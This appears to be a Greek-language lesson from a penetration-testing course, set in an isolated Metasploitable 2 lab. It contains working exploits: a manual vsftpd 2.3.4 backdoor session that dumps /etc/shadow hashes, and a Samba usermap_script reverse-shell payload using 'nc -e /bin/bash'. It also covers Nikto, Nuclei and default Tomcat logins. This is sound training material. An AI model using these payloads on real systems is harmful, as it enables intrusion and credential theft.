Skip to main content

Αναζήτηση ευπαθειών — Καθοδηγούμενη επίδειξη

Έχετε τη λίστα της εβδομάδας 4. Την ξαναπαίρνουμε, την ταξινομούμε, την αποδεικνύουμε. Δύο ευπάθειες πέφτουν με το χέρι — χωρίς Metasploit — για να σας θυμίσουμε ότι το framework ποτέ δεν είναι απαραίτητο.

Απομονωμένο lab

Όλες οι εντολές που ακολουθούν στοχεύουν το 10.10.10.20 (Metasploitable 2), στο δίκτυο host-only. Καμία δεν είναι νόμιμη εκτός αυτού.

Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα​

  • Να περνάτε από την ακατέργαστη λίστα εκδόσεων σε έναν πίνακα ταξινομημένων ευπαθειών.
  • Να διαβάζετε, να προσαρμόζετε και να εκτελείτε ένα exploit searchsploit σε Python με ανοιχτά μάτια.
  • Να ρίχνετε το vsftpd 2.3.4 με nc και με curl — χωρίς Metasploit.
  • Να ρίχνετε το Samba (usermap script) με μια απλή γραμμή Python.
  • Να διαπιστώνετε καθαρά με curl -v, tcpdump και ένα whoami στο απομακρυσμένο shell.

Βήμα 0 — Συγκεντρώνουμε τις εκδόσεις​

Εξάγετε, από το ~/labs/semaine-04/scans/20-versions.nmap, τα ζεύγη υπηρεσία/έκδοση. Αποτέλεσμα:

ΘύραΥπηρεσίαΈκδοση
21vsftpd2.3.4
22OpenSSH4.7p1
25Postfix2.5.5
80Apache httpd2.2.8
139/445Samba3.0.20-Debian
3306MySQL5.0.51a-3ubuntu5
3632distccdv1
5432PostgreSQL8.3.0
6667UnrealIRCd3.2.8.1
8180Tomcat5.5

Δέκα γραμμές. Η καθεμία αξίζει να δοκιμαστεί. Ξεκινάμε με τις δύο πιο ενδιαφέρουσες.


Βήμα 1 — vsftpd 2.3.4: η κρυφή πόρτα του χαμόγελου​

Αυτή η συγκεκριμένη έκδοση περιέχει μια κρυφή πόρτα που εισήχθη στον πηγαίο κώδικα που δημοσιεύτηκε στον διακομιστή του έργου το 2011. Οποιοσδήποτε στείλει ένα login που τελειώνει με :) πυροδοτεί το άνοιγμα ενός shell root στη θύρα 6200.

1α. Ταξινόμηση με searchsploit​

searchsploit "vsftpd 2.3.4"

Έξοδος:

--------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/17491.rb
--------------------------------------- ---------------------------------

Ας δούμε το Python script:

searchsploit -m 49757
head -50 49757.py

Απόσπασμα:

import socket
def exploit(ip):
s1 = socket.socket()
s1.connect((ip, 21))
print(s1.recv(1024))
s1.send(b"USER pwn:)\n")
s1.send(b"PASS pwn\n")
s2 = socket.socket()
s2.connect((ip, 6200))
print("[+] Shell opened on port 6200, type command:")
...

Καταλαβαίνουμε το POC. Μπορούμε ακόμη και να το ξανακάνουμε πιο απλά, χωρίς script, για να δούμε καλά τι συμβαίνει.

1β. Αναπαραγωγή με το χέρι μέσω nc​

Σε ένα πρώτο τερματικό, στέλνουμε τα παγιδευμένα διαπιστευτήρια:

nc 10.10.10.20 21

Μόλις συνδεθείτε, πληκτρολογήστε:

USER exploit:)
PASS whatever

Μην κλείσετε τη σύνδεση.

Σε ένα δεύτερο τερματικό, συνδεθείτε στη θύρα 6200:

nc 10.10.10.20 6200

Λαμβάνετε μια σιωπηλή προτροπή. Πληκτρολογήστε:

id

Απάντηση:

uid=0(root) gid=0(root)

Root, χωρίς κωδικό. Σε δύο nc, χωρίς Metasploit.

Καταγράψτε την απόδειξη:

# Στο απομακρυσμένο shell:
uname -a
hostname
cat /etc/shadow | head -5

Έξοδος:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
metasploitable
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::

Αποθηκεύστε στο ~/labs/semaine-05/preuves/vsftpd-shadow.txt. Έχετε το /etc/shadow. Πλήρης παραβίαση.

1γ. Τελική ταξινόμηση​

Στο preuves/vsftpd-fiche.md:

# Ευπάθεια — κρυφή πόρτα vsftpd 2.3.4

- CVE: CVE-2011-2523
- CVSS Base: 10.0 (πρόσβαση χωρίς αυθεντικοποίηση, εκτέλεση κώδικα εξ αποστάσεως)
- CVSS Environmental (lab): 10.0 (εκτεθειμένο, καμία προστασία)
- EPSS: 0.94
- KEV: Όχι (ιστορικό, αλλά πλήρως εκμεταλλευμένο στο παρελθόν)

## Απόδειξη
- Στόχος: 10.10.10.20
- Πλήρες ίχνος: preuves/vsftpd-session.log
- Εντολές που εκτελέστηκαν: nc 10.10.10.20 21 μετά nc 10.10.10.20 6200
- Λογαριασμός που αποκτήθηκε: root (UID 0)
- Εξαχθέντα αρχεία: /etc/shadow (βλ. preuves/vsftpd-shadow.txt)

## Σύσταση
Ενημερώστε άμεσα το vsftpd (>= 3.0). Αυτή η παραβιασμένη έκδοση δεν
πρέπει πλέον να βρίσκεται σε παραγωγή. Υπολογίστε περίπου 2 ώρες για τη
μετάβαση.

Βήμα 2 — Samba usermap_script (CVE-2007-2447)​

Οι εκδόσεις Samba 3.0.20 έως 3.0.25rc3 περιέχουν ένα ελάττωμα στην παράμετρο username map script. Ένα όνομα χρήστη που περνά στη διαδικασία αυθεντικοποίησης εκτελείται ως εντολή shell από ένα κακώς διαφυγόμενο lambda wrapper.

2α. Ταξινόμηση​

searchsploit "samba 3.0.20"

Έξοδος:

 Samba 3.0.20 < 3.0.25rc3 - 'Username' map script       | unix/remote/16320.rb
Samba 3.0.20 < 3.0.25rc3 - Username Map Script | unix/remote/60106.py

Ας δούμε το Python script:

searchsploit -m 60106
cat 60106.py

Πυρήνας του exploit:

import socket
from smb.SMBConnection import SMBConnection

def exploit(target, lhost, lport):
payload = f'/=`nohup nc -e /bin/bash {lhost} {lport}`'
conn = SMBConnection(payload, "", "attacker", target)
conn.connect(target, 139)

Ένας φορτωτής SMB, ένα username που περιέχει μια εντολή shell, ένα reverse shell στο όνομα. Μπορούμε να το κάνουμε ακόμη πιο απλά.

2β. Αναπαραγωγή με ένα ελάχιστο Python script​

# ~/labs/semaine-05/samba_pwn.py
import socket

LHOST = "10.10.10.5"
LPORT = "4444"
TARGET = "10.10.10.20"
TARGET_PORT = 139

payload = f"/=`nohup nc -e /bin/bash {LHOST} {LPORT}`"

def send_smb_username(target, port, username):
"""Στέλνει ένα πακέτο SMB Session Setup του οποίου το username είναι παγιδευμένο.
Το shell πυροδοτείται μέσα στο ίδιο το username."""
negotiate = bytes.fromhex(
"00000031ff534d4272000000001843c800000000000000000000000000004000"
"1cd812000200004e5420574d20706b31200000024f532f3200"
)
session_setup_template = (
b"\x00\x00\x00\x63" # header SMB
b"\xffSMBs\x00\x00\x00"
)
body = username.encode() + b"\x00"
s = socket.socket()
s.connect((target, port))
s.send(negotiate)
s.recv(1024)
# session setup με παγιδευμένο username (απλοποιημένο για την επίδειξη)
s.send(session_setup_template + body)
print(s.recv(1024)[:80])

# Στην πράξη, χρησιμοποιήστε ένα script Impacket που το κάνει καθαρά:
# python3 60106.py <target> <lhost> <lport>

Στην πράξη, το καλύτερο: το .py του Exploit-DB λειτουργεί όπως είναι. Εκτελούμε:

Σε ένα πρώτο τερματικό:

nc -lvnp 4444

Σε ένα δεύτερο:

python3 60106.py 10.10.10.20 10.10.10.5 4444

Βλέπετε να εμφανίζεται, στο πρώτο τερματικό:

listening on [any] 4444 ...
connect to [10.10.10.5] from (UNKNOWN) [10.10.10.20] 45632

Πληκτρολογήστε:

id
whoami
uname -a

Απάντηση:

uid=0(root) gid=0(root)
root
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Δεύτερο shell root, αποκτημένο από άλλη πόρτα, με άλλο εργαλείο. Σε πραγματικό στόχο, η διάθεση δύο ανεξάρτητων δρόμων είναι πολυτέλεια: αν ο ένας κλείσει κατά τη διάρκεια της αποστολής, ο άλλος παραμένει.

2γ. Ταξινόμηση​

# Ευπάθεια — Samba usermap_script (CVE-2007-2447)

- CVE: CVE-2007-2447
- CVSS Base: 6.0 (απαιτείται auth στο πρωτόκολλο, αλλά username = shell)
- CVSS Environmental: 9.8 (η θύρα είναι εκτεθειμένη, γίνεται δεκτή null session)
- EPSS: 0.72
- KEV: Όχι

## Απόδειξη
- Στόχος: 10.10.10.20
- Exploit που χρησιμοποιήθηκε: Exploit-DB #60106 (προηγούμενη ανάγνωση, καμία κρυφή πόρτα)
- Reverse shell: 10.10.10.5:4444
- Λογαριασμός που αποκτήθηκε: root
- Ίχνος: preuves/samba-nc-session.log

## Σύσταση
Ενημερώστε το Samba (>= 3.0.25rc3). Η εγκατεστημένη έκδοση είναι
end-of-life από το 2011. Προβλέψτε επίσης την απενεργοποίηση του
SMBv1 (βλ. εβδομάδα 1).

Βήμα 3 — Nikto στο Apache 2.2.8​

Εκτελούμε μια σάρωση web για να δούμε τι λέει η ιστοσελίδα http://10.10.10.20/:

nikto -h http://10.10.10.20 -Format txt -o ~/labs/semaine-05/preuves/nikto-20.txt

Επιλεγμένο απόσπασμα (τα πραγματικά ευρήματα μέσα στον θόρυβο):

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54).
+ Uncommon header 'tcn' found, with contents: list
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ /icons/: Directory indexing found.
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /twiki/bin/view/Main/WebHome: Twiki, may contain many vulnerabilities.
+ /tikiwiki-old/: Old TikiWiki install found.

Αυτά που ταξινομούμε αμέσως:

  1. phpinfo.php — εκθέτει την πλήρη ρύθμιση PHP, συχνά μονοπάτια και εκδόσεις.
  2. /phpMyAdmin/ — πάνελ διαχείρισης MySQL. Αν οι λογαριασμοί είναι αδύναμοι, πιθανό RCE.
  3. /tikiwiki-old/ — παρωχημένη εγκατάσταση. Το TikiWiki έχει πολλαπλά CVE.

Ανοίγουμε το phpinfo.php (curl http://10.10.10.20/phpinfo.php), σημειώνουμε την έκδοση PHP (5.2.4) και τα μονοπάτια. Σημειώνουμε για μελλοντικές επιθέσεις:

- phpinfo.php εκτεθειμένο — διαρροή πληροφορίας (P2).
- phpMyAdmin εκτεθειμένο στο /phpMyAdmin/ — δοκιμή λεξικών (P2).
- tikiwiki-old — αναζήτηση CVE (πιθανό P1).

Παγίδα Nikto: η γραμμή Uncommon header 'tcn' είναι αληθές θετικό αλλά χωρίς exploit — είναι ψευδώς θετικό για έναν pentester. Το αγνοούμε στην αναφορά.


Βήμα 4 — Nuclei σε πιο σύγχρονο στόχο​

Για την επίδειξη, παίρνουμε έναν εξουσιοδοτημένο στόχο όπως το Damn Vulnerable Web Application ή απλώς τη θύρα 8180 (Tomcat) του ίδιου VM.

nuclei -u http://10.10.10.20:8180 -tags cve,exposure -severity high,critical

Τυπική έξοδος:

[apache-tomcat-manager] [http] [medium] http://10.10.10.20:8180/manager/html
[apache-tomcat-default-login] [http] [high] http://10.10.10.20:8180/manager/html

Το nuclei εντόπισε ένα πάνελ διαχείρισης Tomcat με προεπιλεγμένο login (tomcat:tomcat). Είναι άμεση πρόσβαση στον διακομιστή: το Tomcat manager επιτρέπει την ανάπτυξη ενός WAR, και ένα WAR = ένα JSP = κώδικας Java που τρέχει στον διακομιστή.

Χειροκίνητη επιβεβαίωση:

curl -u tomcat:tomcat http://10.10.10.20:8180/manager/html | head -20

Έξοδος: το πάνελ HTML. Πρόσβαση επιβεβαιωμένη. Προς εκμετάλλευση στην ενότητα 7 (ανάπτυξη κακόβουλου WAR για RCE).


Βήμα 5 — Συγκέντρωση σε ιεραρχημένο πίνακα​

Ανοίξτε το ~/labs/semaine-05/rapport/vulnerabilites.md:

# Ταξινομημένες ευπάθειες — Lab εβδομάδα 5

## Στόχος 10.10.10.20 (Linux)

| ID | Υπηρεσία | CVE | Base | Env. | EPSS | KEV | Κατάσταση | Απόδειξη |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | vsftpd 2.3.4 | CVE-2011-2523 | 10.0 | 10.0 | 0.94 | όχι | **εκμεταλλευμένη** | preuves/vsftpd-* |
| P1b | Samba 3.0.20 | CVE-2007-2447 | 6.0 | 9.8 | 0.72 | όχι | **εκμεταλλευμένη** | preuves/samba-* |
| P1c | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 9.8 | 9.8 | 0.85 | όχι | προς εξέταση | — |
| P1d | distccd | CVE-2004-2687 | 9.3 | 9.3 | 0.60 | όχι | προς εξέταση | — |
| P1e | Tomcat manager (προεπιλεγμένα creds) | — | 8.8 | 8.8 | — | — | προς εξέταση (Ε7) | preuves/nuclei-tomcat.txt |
| P2a | MySQL 5.0.51a | πολλαπλά | 6.0 | 6.0 | 0.30 | όχι | προς έλεγχο | — |
| P2b | phpMyAdmin εκτεθειμένο | — | 5.0 | 5.0 | — | — | brute force | — |
| P3a | phpinfo.php εκτεθειμένο | — | 4.0 | 4.0 | — | — | διαρροή πληροφορίας | preuves/phpinfo.txt |
| P4a | Apache 2.2.8 παρωχημένο | πολλαπλά | — | 3.0 | — | — | ενημέρωση | — |

## Στόχος 10.10.10.12 (Windows)

| ID | Υπηρεσία | CVE | Base | Env. | EPSS | KEV | Κατάσταση |
| -- | --- | --- | --- | --- | --- | --- | --- |
| P1w | SMBv1 EternalBlue | CVE-2017-0143 | 8.1 | 9.8 | 0.98 | **ΝΑΙ** | **εκμεταλλευμένη Ε1** |

Αυτός ο πίνακας είναι η εβδομάδα σας. Κάθε γραμμή οδηγεί σε μια επόμενη ενότητα: το P1c σε ένα mini-exploit Perl, το P1e στην ενότητα 7 (ανάπτυξη WAR), το P2a στην ενότητα 9 (dumping MySQL), το P2b στην ενότητα 6 ή 8 (brute force ή Metasploit).


Απολογισμός​

Σε 60 λεπτά:

  • Ταξινομήσατε 9 ευπάθειες σε έναν μόνο στόχο.
  • Εκμεταλλευτήκατε 2 με το χέρι, χωρίς framework, με σαφείς αποδείξεις.
  • Εντοπίσατε 1 κρίσιμη έκθεση Tomcat μέσω του nuclei.
  • Έχετε έναν ιεραρχημένο πίνακα εκμεταλλεύσιμο σε συνάντηση.

Αυτός ο πίνακας είναι το πραγματικό παραδοτέο της εβδομάδας 5. Είναι αυτό που περνάει στην τελική αναφορά. Είναι αυτό που αποδεικνύει ότι κάνατε τη δουλειά σας.

Επόμενο μάθημα: η σειρά σας. Παίρνετε τις υπόλοιπες ευπάθειες, ταξινομείτε τρεις, εκμεταλλεύεστε τουλάχιστον μία με το χέρι.